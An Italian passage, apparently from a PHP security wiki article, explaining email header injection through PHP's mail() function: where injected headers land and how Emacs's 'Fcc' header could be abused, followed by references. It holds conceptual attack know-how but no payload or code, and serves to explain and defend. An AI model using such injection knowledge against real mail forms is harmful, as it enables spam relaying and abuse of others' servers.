Due punti da ricordare approposito delle injection:
Ogni dato esistente messo DOPO il punto di iniezione può essere sostituito.
Ogni dato da aggiungere sarà sempre posto DOPO il punto di iniezione (es: 'From').
C'è un altro buon motivo per usare questa misura di sicurezza, nonostante il fatto che i valori di SUBJECT e RECIPIENT passati alla funzione mail() vengano puliti: usando Emacs, l'header "Fcc" è protetto da iniezioni. Il campo "Fcc" contiene il nome di un file e forza Emacs ad accodare una copia della mail a quel file, prima di inviare il messaggio. Anche se questo funziona su Emacs, non è posibile con la funzione mail() del php. Altre possibili vulnerabilità MIME non sono sviluppate in questo articolo.
References
* frogman. Email Headers Injection Using mail() Function (French).
* tobozo. English translation. * Installing mod_security Retrieved from "http://www.securephpwiki.com/index.php/Email_Injection"